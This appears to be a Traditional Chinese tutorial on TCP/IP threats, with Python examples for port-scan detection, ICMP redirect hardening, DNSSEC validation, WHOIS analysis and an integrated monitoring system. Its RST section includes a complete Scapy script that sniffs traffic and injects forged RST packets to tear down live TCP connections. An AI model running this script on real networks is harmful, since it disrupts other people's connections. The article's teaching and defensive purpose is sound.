TCP/IP 通訊協定安全威脅概述

TCP/IP 作為現代網路通訊的基石,支撐著全球網際網路的運作。然而,這套廣泛應用的通訊協定也因其開放性與普及性,成為駭客攻擊的主要目標。從基礎的埠掃描偵察,到進階的 ICMP 重新導向與 RST 阻斷攻擊,各種威脅手法不斷演進,對企業網路與個人資訊安全構成嚴峻挑戰。

在網路安全領域中,理解攻擊原理與掌握防禦技術同等重要。本文將透過實際程式碼範例,說明如何偵測與防禦常見的 TCP/IP 攻擊手法,並進一步探討 DNS 與 WHOIS 技術在網路安全管理中的關鍵角色。透過系統化的分析與實作示範,協助讀者建立完整的網路安全防護能力。

埠掃描偵測與防禦技術

埠掃描是駭客進行網路偵察的首要步驟,透過系統化地探測目標主機的開放埠號,攻擊者能夠識別出可用的網路服務與潛在弱點。有效的埠掃描偵測機制,能在攻擊初期就發現異常行為,為後續的防禦措施爭取寶貴時間。

當單一來源 IP 在短時間內嘗試連接多個不同的埠號時,這種行為模式往往表示正在進行埠掃描活動。透過監控 TCP 連線請求的頻率與分布,可以建立有效的偵測機制。以下的 Python 程式碼示範了如何使用 Scapy 函式庫實作即時的埠掃描偵測系統。

import scapy.all as scapy
import time
import sys
from collections import defaultdict

class PortScanDetector:
    def __init__(self, threshold=10, timeout=60):
        self.ip_to_ports = defaultdict(dict)
        self.threshold = threshold
        self.timeout = timeout
    
    def detect_portscan(self, packet):
        if packet.haslayer(scapy.TCP):
            tcp = packet.getlayer(scapy.TCP)
            ip = packet.getlayer(scapy.IP)
            
            current_time = int(time.time())
            src_ip = ip.src
            dst_port = str(tcp.dport)
            
            self.ip_to_ports[src_ip][dst_port] = current_time
            
            self.cleanup_old_records(src_ip, current_time)
            
            if len(self.ip_to_ports[src_ip]) >= self.threshold:
                self.trigger_alert(src_ip, self.ip_to_ports[src_ip].keys())
                del self.ip_to_ports[src_ip]
    
    def cleanup_old_records(self, ip, current_time):
        expired_ports = [
            port for port, scan_time in self.ip_to_ports[ip].items()
            if scan_time + self.timeout < current_time
        ]
        for port in expired_ports:
            del self.ip_to_ports[ip][port]
    
    def trigger_alert(self, src_ip, scanned_ports):
        print(f"[警告] 偵測到來自 {src_ip} 的埠掃描行為")
        print(f"[詳情] 掃描的埠號包含: {', '.join(scanned_ports)}")
        print(f"[時間] {time.strftime('%Y-%m-%d %H:%M:%S')}")

def main():
    if len(sys.argv) < 2:
        print(f"使用方式: {sys.argv[0]} <網路介面名稱>")
        print(f"範例: {sys.argv[0]} eth0")
        sys.exit(1)
    
    detector = PortScanDetector()
    interface = sys.argv[1]
    
    print(f"[啟動] 開始監聽網路介面 {interface} 上的 TCP 流量")
    print(f"[設定] 掃描閾值: 10 個埠號, 超時時間: 60 秒")
    
    try:
        scapy.sniff(prn=detector.detect_portscan, filter="tcp", 
                   iface=interface, store=0)
    except KeyboardInterrupt:
        print("\n[結束] 停止監聽")
    except Exception as e:
        print(f"[錯誤] {str(e)}")

if __name__ == "__main__":
    main()

這段程式碼的核心概念在於追蹤每個來源 IP 位址所掃描的埠號集合。系統維護一個字典結構,記錄每個 IP 位址掃描過的埠號及其時間戳記。當某個 IP 位址在指定時間範圍內掃描的埠號數量超過設定閾值時,系統就會觸發警示機制,通知管理員可能正在遭受埠掃描攻擊。

程式中實作了自動清理機制,定期移除過期的掃描記錄,避免記憶體無限制增長。這種設計確保系統能夠長時間穩定運作,同時保持對當前威脅的敏銳偵測能力。閾值與超時時間的設定可依據實際網路環境特性進行調整,在誤報率與偵測靈敏度之間取得平衡。

@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100

start
:接收 TCP 封包;
:提取來源 IP 與目標埠號;
:記錄掃描時間戳記;
:清理過期記錄;
if (掃描埠數 >= 閾值?) then (是)
  :觸發警示通知;
  :記錄攻擊資訊;
  :清除該 IP 記錄;
else (否)
  :繼續監控;
endif
:等待下一個封包;
stop

@enduml

上圖展示了埠掃描偵測系統的完整工作流程。系統持續監聽網路流量,對每個 TCP 封包進行分析與記錄。當偵測到異常的埠掃描行為時,立即觸發警示機制並記錄相關資訊,供安全人員進一步分析與處理。

ICMP 重新導向攻擊原理與防禦

ICMP 重新導向機制原本設計用於最佳化網路路由,但駭客可以利用這個特性進行中間人攻擊。攻擊者透過偽造 ICMP 重新導向訊息,誤導目標主機將流量導向攻擊者控制的路由器,從而攔截或竄改網路通訊內容。

在正常情況下,當路由器發現有更好的路徑可以到達目的地時,會發送 ICMP 重新導向訊息給發送端主機,建議其使用更優化的路由。然而,如果系統無條件接受這類訊息,就可能被惡意利用。攻擊者可以偽造看似合法的 ICMP 重新導向封包,將自己偽裝成網路閘道,進而竊取或竄改通過的資料流。

防禦 ICMP 重新導向攻擊的關鍵在於限制系統對這類訊息的接受程度。在 Linux 系統中,可以透過修改核心參數來停用 ICMP 重新導向功能。以下是具體的設定方式:

# 停用所有網路介面的 ICMP 重新導向接受功能
echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects

# 停用所有網路介面的 ICMP 重新導向傳送功能
echo 0 > /proc/sys/net/ipv4/conf/all/send_redirects

# 針對特定網路介面進行設定 (以 eth0 為例)
echo 0 > /proc/sys/net/ipv4/conf/eth0/accept_redirects
echo 0 > /proc/sys/net/ipv4/conf/eth0/send_redirects

# 使用 sysctl 指令永久保存設定
cat >> /etc/sysctl.conf << EOF
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.send_redirects = 0
EOF

# 套用設定
sysctl -p

除了停用 ICMP 重新導向功能外,還應實施網路分段策略,將關鍵系統與一般網路環境隔離。透過防火牆規則限制 ICMP 流量,只允許必要的 ICMP 訊息類型通過。對於需要高度安全性的通訊,應該使用 IPSec 或 TLS 等加密協定,確保即使流量被攔截也無法讀取內容。

@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100

participant "客戶端主機" as Client
participant "攻擊者" as Attacker
participant "真實閘道" as Gateway
participant "目標伺服器" as Server

Client -> Gateway: 發送資料封包
Gateway -> Server: 正常轉發封包
Attacker -> Client: 偽造 ICMP 重新導向訊息
note right of Attacker
  宣稱自己是更佳的路由
  誘導主機改變路由表
end note
Client -> Attacker: 後續封包導向攻擊者
Attacker -> Server: 轉發封包 (可能竄改)
Server -> Attacker: 回應封包
Attacker -> Client: 轉發回應 (可能竄改)

@enduml

上圖說明了 ICMP 重新導向攻擊的完整過程。攻擊者利用偽造的 ICMP 訊息,成功將自己插入正常的通訊路徑中,達到竊聽或竄改資料的目的。

RST 阻斷攻擊技術分析

RST 阻斷攻擊利用 TCP 協定中的重設機制,透過偽造帶有 RST 旗標的封包來強制中斷既有的 TCP 連線。這種攻擊手法特別危險,因為它不需要取得完整的連線控制權,只需要知道連線的基本參數就能發動攻擊。

TCP 連線使用序列號與確認號來維持通訊狀態。當連線的任一端接收到有效的 RST 封包時,會立即終止連線而不進行任何確認程序。攻擊者可以監聽網路流量,擷取正在進行的 TCP 連線資訊,然後偽造 RST 封包發送給連線雙方,導致連線異常中斷。

以下程式碼展示了 RST 阻斷攻擊的實作原理。這段程式碼僅供學術研究與防禦測試使用,切勿用於任何非法用途:

import scapy.all as scapy
import pcapy
import sys

class RSTAttackDemo:
    def __init__(self, interface):
        self.interface = interface
        self.pcap = None
    
    def start_capture(self):
        try:
            self.pcap = pcapy.open_live(self.interface, 1500, 0, 100)
            self.pcap.setfilter("tcp")
            print(f"[啟動] 開始擷取網路介面 {self.interface} 的 TCP 流量")
            print("[警告] 此程式僅供教育與研究目的使用")
            self.pcap.loop(0, self.handle_packet)
        except Exception as e:
            print(f"[錯誤] 無法開啟網路介面: {str(e)}")
            sys.exit(1)
    
    def handle_packet(self, header, data):
        eth = scapy.Ether(data)
        
        if not eth.haslayer(scapy.IP) or not eth.haslayer(scapy.TCP):
            return
        
        ip = eth.getlayer(scapy.IP)
        tcp = eth.getlayer(scapy.TCP)
        
        # 檢查是否為資料傳輸中的封包 (有 ACK 旗標但無 SYN 或 FIN)
        if not (tcp.flags & 0x02) and not (tcp.flags & 0x01) and (tcp.flags & 0x10):
            self.send_rst_packet(ip, tcp)
    
    def send_rst_packet(self, ip, tcp):
        # 建構雙向的 RST 封包
        rst_to_dest = scapy.IP(src=ip.src, dst=ip.dst) / \
                      scapy.TCP(sport=tcp.sport, dport=tcp.dport,
                               seq=tcp.seq + 1, ack=tcp.ack, flags='R')
        
        rst_to_src = scapy.IP(src=ip.dst, dst=ip.src) / \
                     scapy.TCP(sport=tcp.dport, dport=tcp.sport,
                              seq=tcp.ack, ack=tcp.seq + 1, flags='R')
        
        scapy.send(rst_to_dest, iface=self.interface, verbose=0)
        scapy.send(rst_to_src, iface=self.interface, verbose=0)
        
        print(f"[示範] 已發送 RST 封包: {ip.src}:{tcp.sport} <-> {ip.dst}:{tcp.dport}")

def main():
    if len(sys.argv) < 2:
        print(f"使用方式: {sys.argv[0]} <網路介面名稱>")
        sys.exit(1)
    
    demo = RSTAttackDemo(sys.argv[1])
    try:
        demo.start_capture()
    except KeyboardInterrupt:
        print("\n[結束] 停止執行")

if __name__ == "__main__":
    main()

防禦 RST 阻斷攻擊需要採用多層次的安全策略。最有效的方法是使用 IPSec 建立加密通道,確保封包來源的真實性。IPSec 透過加密與認證機制,讓攻擊者無法偽造有效的 RST 封包。此外,部署入侵偵測系統監控異常的 RST 封包模式,可以及早發現攻擊行為。

@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100

start
:監聽網路流量;
if (發現 TCP 連線?) then (是)
  :擷取連線資訊;
  :提取序列號與確認號;
  if (連線正在傳輸資料?) then (是)
    :建構偽造 RST 封包;
    :設定正確的序列號;
    :發送至連線雙方;
    :記錄攻擊資訊;
  else (否)
    :繼續監聽;
  endif
else (否)
  :繼續監聽;
endif
stop

@enduml

上圖呈現了 RST 阻斷攻擊的執行流程。攻擊者透過被動監聽取得連線參數,然後主動發送偽造的 RST 封包來中斷連線。

DNS 安全強化策略

DNS 作為網際網路的關鍵基礎設施,其安全性直接影響整體網路環境的可靠性。DNS 協定在設計之初並未考慮安全性問題,導致出現了許多潛在的攻擊途徑。DNS 欺騙攻擊讓攻擊者能夠偽造 DNS 回應,將使用者導向惡意網站。DNS 快取汙染則可能在 DNS 伺服器中植入錯誤記錄,影響大量使用者。

DNSSEC 技術透過數位簽章機制,確保 DNS 回應的完整性與真實性。DNS 伺服器在回應查詢時,會附帶經過私鑰簽署的數位簽章。客戶端收到回應後,使用對應的公鑰驗證簽章,確認資料未被竄改且來自授權伺服器。以下程式碼展示如何使用 Python 實作 DNSSEC 驗證:

import dns.resolver
import dns.dnssec
import dns.rdatatype

class DNSSECValidator:
    def __init__(self):
        self.resolver = dns.resolver.Resolver()
    
    def validate_domain(self, domain):
        try:
            # 查詢 DNSKEY 記錄
            dnskey_answer = self.resolver.resolve(domain, dns.rdatatype.DNSKEY)
            dnskey_rrset = dnskey_answer.rrset
            
            # 查詢 RRSIG 記錄
            rrsig_answer = self.resolver.resolve(domain, dns.rdatatype.RRSIG)
            rrsig_rrset = rrsig_answer.rrset
            
            # 驗證 DNSSEC 簽章
            dns.dnssec.validate(dnskey_rrset, rrsig_rrset, {dns.name.from_text(domain): dnskey_rrset})
            
            print(f"[成功] 網域 {domain} 的 DNSSEC 驗證通過")
            return True
            
        except dns.dnssec.ValidationFailure as e:
            print(f"[失敗] 網域 {domain} 的 DNSSEC 驗證失敗: {str(e)}")
            return False
        except Exception as e:
            print(f"[錯誤] 無法驗證網域 {domain}: {str(e)}")
            return False
    
    def query_with_validation(self, domain, record_type='A'):
        try:
            # 執行 DNS 查詢
            answer = self.resolver.resolve(domain, record_type)
            
            # 驗證 DNSSEC
            if self.validate_domain(domain):
                print(f"[查詢] {domain}{record_type} 記錄:")
                for rdata in answer:
                    print(f"  {rdata}")
                return answer
            else:
                print("[警告] DNSSEC 驗證失敗,查詢結果可能不可信")
                return None
                
        except Exception as e:
            print(f"[錯誤] DNS 查詢失敗: {str(e)}")
            return None

# 使用範例
validator = DNSSECValidator()
validator.query_with_validation("example.com")
validator.query_with_validation("example.com", 'MX')

除了 DNSSEC 外,DNS over TLS 與 DNS over HTTPS 技術也提供了重要的安全增強。DoT 在 TCP 連線上建立 TLS 加密通道,保護 DNS 查詢內容不被竊聽或竄改。DoH 則將 DNS 查詢封裝在 HTTPS 請求中,使其與一般網頁流量難以區分,提高隱私保護程度。

@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100

participant "客戶端" as Client
participant "遞迴解析器" as Recursive
participant "授權 DNS 伺服器" as Authoritative

Client -> Recursive: DNS 查詢請求
Recursive -> Authoritative: 轉發查詢
Authoritative -> Authoritative: 使用私鑰簽署回應
Authoritative -> Recursive: 回應 + DNSSEC 簽章
Recursive -> Client: 轉發回應 + 簽章
Client -> Client: 使用公鑰驗證簽章
alt 驗證成功
  Client -> Client: 接受並使用查詢結果
else 驗證失敗
  Client -> Client: 拒絕查詢結果
  Client -> Client: 記錄安全事件
end

@enduml

上圖展示了 DNSSEC 驗證的完整流程。透過數位簽章機制,確保 DNS 回應的真實性與完整性,有效防止 DNS 欺騙攻擊。

WHOIS 資訊在網路安全管理中的應用

WHOIS 資料庫提供了網域名稱與 IP 位址的註冊資訊,包含註冊人、註冊組織、註冊時間等重要資料。在網路安全管理中,WHOIS 資訊是追蹤攻擊來源、分析威脅情報的重要工具。透過查詢攻擊來源 IP 的 WHOIS 資訊,可以識別出攻擊者所屬的組織或網路服務提供商,進而採取適當的應對措施。

WHOIS 查詢可以透過命令列工具或程式化方式進行。以下程式碼示範如何使用 Python 實作自動化的 WHOIS 資訊查詢與分析系統:

import whois
import socket
from datetime import datetime

class WHOISAnalyzer:
    def __init__(self):
        self.cache = {}
    
    def query_domain(self, domain):
        if domain in self.cache:
            print(f"[快取] 使用已快取的 {domain} 查詢結果")
            return self.cache[domain]
        
        try:
            w = whois.whois(domain)
            self.cache[domain] = w
            return w
        except Exception as e:
            print(f"[錯誤] 無法查詢網域 {domain}: {str(e)}")
            return None
    
    def query_ip(self, ip_address):
        try:
            # 嘗試反向 DNS 解析
            hostname = socket.gethostbyaddr(ip_address)[0]
            print(f"[反查] IP {ip_address} 對應到 {hostname}")
            
            # 查詢主機名稱的 WHOIS 資訊
            return self.query_domain(hostname)
        except socket.herror:
            print(f"[警告] 無法反向解析 IP {ip_address}")
            return None
        except Exception as e:
            print(f"[錯誤] 查詢失敗: {str(e)}")
            return None
    
    def analyze_security(self, target):
        print(f"\n=== WHOIS 安全分析報告: {target} ===\n")
        
        # 判斷輸入類型
        try:
            socket.inet_aton(target)
            info = self.query_ip(target)
            target_type = "IP 位址"
        except socket.error:
            info = self.query_domain(target)
            target_type = "網域名稱"
        
        if not info:
            print("[結論] 無法取得 WHOIS 資訊")
            return
        
        print(f"[類型] {target_type}")
        
        # 分析註冊資訊
        if hasattr(info, 'registrar'):
            print(f"[註冊商] {info.registrar}")
        
        if hasattr(info, 'creation_date'):
            creation = info.creation_date
            if isinstance(creation, list):
                creation = creation[0]
            print(f"[建立日期] {creation}")
            
            # 檢查網域年齡
            if isinstance(creation, datetime):
                age = (datetime.now() - creation).days
                print(f"[網域年齡] {age} 天")
                
                if age < 30:
                    print("[警告] 這是一個新建立的網域,可能有較高風險")
                elif age < 180:
                    print("[注意] 這是一個相對較新的網域")
                else:
                    print("[正常] 這是一個建立已久的網域")
        
        if hasattr(info, 'expiration_date'):
            expiration = info.expiration_date
            if isinstance(expiration, list):
                expiration = expiration[0]
            print(f"[到期日期] {expiration}")
        
        if hasattr(info, 'name_servers'):
            print(f"[名稱伺服器] {', '.join(info.name_servers)}")
        
        # 分析註冊人資訊
        if hasattr(info, 'country'):
            print(f"[註冊國家] {info.country}")
        
        if hasattr(info, 'org'):
            print(f"[註冊組織] {info.org}")
        
        print("\n=== 分析完成 ===\n")

# 使用範例
analyzer = WHOISAnalyzer()
analyzer.analyze_security("example.com")
analyzer.analyze_security("8.8.8.8")

WHOIS 資訊在威脅情報分析中扮演關鍵角色。透過追蹤攻擊來源的註冊資訊,可以識別出攻擊活動的模式與關聯性。例如,多個惡意網域可能註冊在同一個組織名下,或使用相同的名稱伺服器,這些資訊有助於預測並防範未來的攻擊行為。

@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100

start
:偵測到可疑 IP 位址;
:執行反向 DNS 查詢;
if (查詢成功?) then (是)
  :取得對應網域名稱;
  :查詢網域 WHOIS 資訊;
else (否)
  :直接查詢 IP WHOIS 資訊;
endif
:分析註冊資訊;
:檢查網域年齡;
:識別註冊組織;
:比對威脅情報資料庫;
if (發現異常?) then (是)
  :標記為高風險;
  :觸發安全警示;
  :記錄至事件日誌;
else (否)
  :標記為正常;
  :更新查詢快取;
endif
stop

@enduml

上圖說明了利用 WHOIS 資訊進行安全分析的完整流程。透過系統化的查詢與分析,可以快速識別潛在的安全威脅。

TCP/IP 安全防護整合架構

建立完整的 TCP/IP 安全防護體系,需要整合多種防禦技術與監控機制。從網路邊界的防火牆過濾,到內部網路的入侵偵測系統,再到應用層的安全強化,每個層次都扮演著重要角色。

防火牆作為第一道防線,應該實施嚴格的存取控制策略。只開放必要的服務埠號,限制允許的來源 IP 範圍,並記錄所有被拒絕的連線嘗試。入侵偵測系統持續監控網路流量,分析封包內容與通訊模式,及時發現異常行為。

@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100

package "網路邊界層" {
  [防火牆]
  [入侵防禦系統]
}

package "網路監控層" {
  [流量分析系統]
  [埠掃描偵測]
  [異常行為偵測]
}

package "協定安全層" {
  [DNSSEC 驗證]
  [IPSec 加密]
  [TLS 加密通道]
}

package "應用安全層" {
  [身分驗證機制]
  [存取控制]
  [日誌記錄]
}

package "情報分析層" {
  [WHOIS 查詢]
  [威脅情報整合]
  [攻擊模式分析]
}

[防火牆] --> [流量分析系統]
[入侵防禦系統] --> [異常行為偵測]
[流量分析系統] --> [埠掃描偵測]
[埠掃描偵測] --> [WHOIS 查詢]
[DNSSEC 驗證] --> [威脅情報整合]
[異常行為偵測] --> [攻擊模式分析]

@enduml

上圖展示了多層次的 TCP/IP 安全防護架構。各個安全元件相互配合,形成縝密的防禦網絡,確保網路環境的整體安全性。

實戰案例:建構企業級網路安全監控系統

結合前述各項技術,可以建構一套完整的企業級網路安全監控系統。這套系統整合了埠掃描偵測、ICMP 流量監控、RST 攻擊防禦、DNS 安全驗證與 WHOIS 資訊分析,提供全方位的安全防護能力。

import scapy.all as scapy
import dns.resolver
import whois
import time
import json
from collections import defaultdict
from datetime import datetime

class EnterpriseSecurityMonitor:
    def __init__(self, config_file='config.json'):
        self.load_config(config_file)
        self.port_scan_tracker = defaultdict(dict)
        self.icmp_tracker = defaultdict(list)
        self.rst_tracker = defaultdict(int)
        self.threat_intel = {}
        self.alert_log = []
    
    def load_config(self, config_file):
        with open(config_file, 'r', encoding='utf-8') as f:
            self.config = json.load(f)
        
        self.port_scan_threshold = self.config.get('port_scan_threshold', 10)
        self.port_scan_timeout = self.config.get('port_scan_timeout', 60)
        self.icmp_threshold = self.config.get('icmp_threshold', 5)
        self.rst_threshold = self.config.get('rst_threshold', 10)
        self.monitoring_interface = self.config.get('interface', 'eth0')
    
    def monitor_network(self):
        print(f"[啟動] 企業級網路安全監控系統")
        print(f"[介面] {self.monitoring_interface}")
        print(f"[設定] 埠掃描閾值: {self.port_scan_threshold}")
        print(f"[設定] ICMP 閾值: {self.icmp_threshold}")
        print(f"[設定] RST 閾值: {self.rst_threshold}\n")
        
        scapy.sniff(prn=self.analyze_packet, iface=self.monitoring_interface, 
                   store=0)
    
    def analyze_packet(self, packet):
        current_time = int(time.time())
        
        if packet.haslayer(scapy.IP):
            ip = packet.getlayer(scapy.IP)
            
            # 埠掃描偵測
            if packet.haslayer(scapy.TCP):
                self.detect_port_scan(packet, current_time)
                self.detect_rst_attack(packet, current_time)
            
            # ICMP 重新導向偵測
            if packet.haslayer(scapy.ICMP):
                self.detect_icmp_redirect(packet, current_time)
    
    def detect_port_scan(self, packet, current_time):
        tcp = packet.getlayer(scapy.TCP)
        ip = packet.getlayer(scapy.IP)
        
        src_ip = ip.src
        dst_port = str(tcp.dport)
        
        self.port_scan_tracker[src_ip][dst_port] = current_time
        
        # 清理過期記錄
        expired_ports = [
            port for port, scan_time in self.port_scan_tracker[src_ip].items()
            if scan_time + self.port_scan_timeout < current_time
        ]
        for port in expired_ports:
            del self.port_scan_tracker[src_ip][port]
        
        # 檢查是否超過閾值
        if len(self.port_scan_tracker[src_ip]) >= self.port_scan_threshold:
            self.trigger_alert('port_scan', src_ip, 
                             list(self.port_scan_tracker[src_ip].keys()))
            
            # 執行 WHOIS 查詢
            self.perform_whois_lookup(src_ip)
            
            # 清除記錄
            del self.port_scan_tracker[src_ip]
    
    def detect_icmp_redirect(self, packet, current_time):
        icmp = packet.getlayer(scapy.ICMP)
        ip = packet.getlayer(scapy.IP)
        
        # ICMP 類型 5 是重新導向訊息
        if icmp.type == 5:
            src_ip = ip.src
            self.icmp_tracker[src_ip].append(current_time)
            
            # 清理過期記錄
            self.icmp_tracker[src_ip] = [
                t for t in self.icmp_tracker[src_ip]
                if t + 60 > current_time
            ]
            
            # 檢查是否超過閾值
            if len(self.icmp_tracker[src_ip]) >= self.icmp_threshold:
                self.trigger_alert('icmp_redirect', src_ip, 
                                 f"在 60 秒內發送了 {len(self.icmp_tracker[src_ip])} 個重新導向訊息")
                self.perform_whois_lookup(src_ip)
                del self.icmp_tracker[src_ip]
    
    def detect_rst_attack(self, packet, current_time):
        tcp = packet.getlayer(scapy.TCP)
        ip = packet.getlayer(scapy.IP)
        
        # 檢查是否為 RST 封包
        if tcp.flags & 0x04:  # RST 旗標
            src_ip = ip.src
            self.rst_tracker[src_ip] += 1
            
            if self.rst_tracker[src_ip] >= self.rst_threshold:
                self.trigger_alert('rst_attack', src_ip, 
                                 f"短時間內發送了 {self.rst_tracker[src_ip]} 個 RST 封包")
                self.perform_whois_lookup(src_ip)
                self.rst_tracker[src_ip] = 0
    
    def perform_whois_lookup(self, ip_address):
        if ip_address in self.threat_intel:
            print(f"[快取] 使用已快取的 {ip_address} WHOIS 資訊")
            return self.threat_intel[ip_address]
        
        try:
            w = whois.whois(ip_address)
            self.threat_intel[ip_address] = w
            
            print(f"\n[WHOIS] {ip_address} 的註冊資訊:")
            if hasattr(w, 'country'):
                print(f"  國家: {w.country}")
            if hasattr(w, 'org'):
                print(f"  組織: {w.org}")
            if hasattr(w, 'registrar'):
                print(f"  註冊商: {w.registrar}")
            print()
            
            return w
        except Exception as e:
            print(f"[錯誤] 無法查詢 {ip_address} 的 WHOIS 資訊: {str(e)}")
            return None
    
    def trigger_alert(self, alert_type, source_ip, details):
        alert = {
            'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),
            'type': alert_type,
            'source': source_ip,
            'details': details
        }
        
        self.alert_log.append(alert)
        
        alert_messages = {
            'port_scan': f"[警告] 偵測到來自 {source_ip} 的埠掃描攻擊",
            'icmp_redirect': f"[警告] 偵測到來自 {source_ip} 的 ICMP 重新導向攻擊",
            'rst_attack': f"[警告] 偵測到來自 {source_ip} 的 RST 阻斷攻擊"
        }
        
        print(f"\n{'='*60}")
        print(alert_messages.get(alert_type, f"[警告] 偵測到來自 {source_ip} 的異常行為"))
        print(f"[時間] {alert['timestamp']}")
        print(f"[詳情] {details}")
        print(f"{'='*60}\n")
        
        # 將警示寫入日誌檔案
        with open('security_alerts.log', 'a', encoding='utf-8') as f:
            f.write(json.dumps(alert, ensure_ascii=False) + '\n')

# 設定檔範例 (config.json)
config_example = {
    "interface": "eth0",
    "port_scan_threshold": 10,
    "port_scan_timeout": 60,
    "icmp_threshold": 5,
    "rst_threshold": 10
}

# 啟動監控系統
if __name__ == "__main__":
    monitor = EnterpriseSecurityMonitor()
    try:
        monitor.monitor_network()
    except KeyboardInterrupt:
        print("\n[結束] 停止監控系統")
        print(f"[統計] 總共記錄了 {len(monitor.alert_log)} 個安全事件")

這套企業級監控系統整合了多種偵測機制,能夠即時發現並回應各種網路安全威脅。系統採用模組化設計,方便根據實際需求調整參數或新增功能。透過持續記錄安全事件,建立完整的威脅情報資料庫,為長期的安全策略規劃提供數據支援。

網路安全防禦的未來發展趨勢

TCP/IP 協定的安全挑戰不會消失,反而會隨著網路技術的演進而變得更加複雜。物聯網設備的大量部署,5G 網路的普及,以及雲端服務的廣泛應用,都為網路安全帶來新的挑戰。傳統的被動防禦策略已經不足以應對日益複雜的攻擊手法,需要發展更加智慧化的主動防禦機制。

人工智慧與機器學習技術為網路安全帶來新的可能性。透過分析大量的網路流量數據,AI 系統能夠學習正常的網路行為模式,從而更準確地識別異常活動。自動化的威脅回應系統可以在偵測到攻擊的瞬間採取防禦措施,大幅縮短攻擊造成損害的時間窗口。

零信任架構成為企業網路安全的新標準。這種架構不再預設內部網路是安全的,而是對每個存取請求都進行嚴格的身分驗證與授權檢查。結合微分段技術,將網路劃分為多個獨立的安全區域,限制潛在攻擊的橫向移動能力。

加密技術的演進也是重要趨勢。量子計算的發展對現有的加密演算法構成威脅,促使研究人員開發量子安全的加密方案。後量子密碼學研究正在積極進行,確保未來的網路通訊能夠抵禦量子計算機的破解能力。

網路安全需要持續的關注與投資。從技術層面的防禦機制建置,到人員的安全意識培訓,再到組織層面的安全政策制定,每個環節都至關重要。只有建立全面的安全防護體系,才能在不斷演變的威脅環境中保護關鍵資產與敏感資料。

玄貓認為,網路安全防禦不應只停留在被動應對的階段,而需要建立主動預警與快速回應的能力。透過整合多種安全技術,結合威脅情報分析,配合自動化的防禦機制,方能在複雜的網路環境中維持穩健的安全防護。未來的網路安全將更加依賴智慧化系統與跨領域的整合應用,這也是台灣資訊安全產業發展的重要方向。